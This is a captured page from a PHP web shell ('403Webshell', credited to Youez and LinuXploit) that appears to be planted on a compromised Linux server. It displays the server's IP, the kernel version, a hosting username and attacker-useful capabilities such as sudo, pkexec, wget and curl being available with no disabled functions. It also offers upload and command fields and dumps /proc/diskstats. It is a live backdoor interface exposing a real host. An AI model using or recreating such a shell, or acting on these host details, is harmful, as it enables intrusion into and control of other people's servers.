403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.150
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : joker4274 ( 1074)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 20196 0 289710 5416 0 0 0 0 0 57964 5416 0 0 0 0 0 0
   7       1 loop1 34331 0 597640 8358 0 0 0 0 0 92640 8358 0 0 0 0 0 0
   7       2 loop2 1740 0 19652 596 0 0 0 0 0 3700 596 0 0 0 0 0 0
   7       3 loop3 25171 0 382994 7383 0 0 0 0 0 70624 7383 0 0 0 0 0 0
   7       4 loop4 48046 0 670960 15036 0 0 0 0 0 125744 15036 0 0 0 0 0 0
   7       5 loop5 4945 0 332806 991 0 0 0 0 0 17908 991 0 0 0 0 0 0
   7       6 loop6 11002 0 758612 3317 0 0 0 0 0 42284 3317 0 0 0 0 0 0
   7       7 loop7 1859 0 152594 391 0 0 0 0 0 6396 391 0 0 0 0 0 0
  11       0 sr0 98 0 704 28 0 0 0 0 0 56 28 0 0 0 0 0 0
   8       0 sda 142283857 50997137 4091824674 89746534 36500542 44579489 826431233 66686921 0 143853500 159955496 2145115 2 295160738 1487490 2088012 2034551
   8       1 sda1 142283134 50994143 4091790632 89746358 36500540 44579489 826431231 66686921 0 143853360 157920761 2145111 0 294758080 1487481 0 0
   8      14 sda14 199 0 1840 33 0 0 0 0 0 88 33 0 0 0 0 0 0
   8      15 sda15 223 2994 20242 76 2 0 2 0 0 132 84 4 2 402658 8 0 0
   7       8 loop8 328575 0 2800554 1296094 3404938 0 33638008 3525938 0 5090576 6924599 1356 0 5592280 157 256936 2102409
   7       9 loop9 29648 0 2703090 23512 0 0 0 0 0 134388 23512 0 0 0 0 0 0
   7      10 loop10 11 0 28 0 0 0 0 0 0 8 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit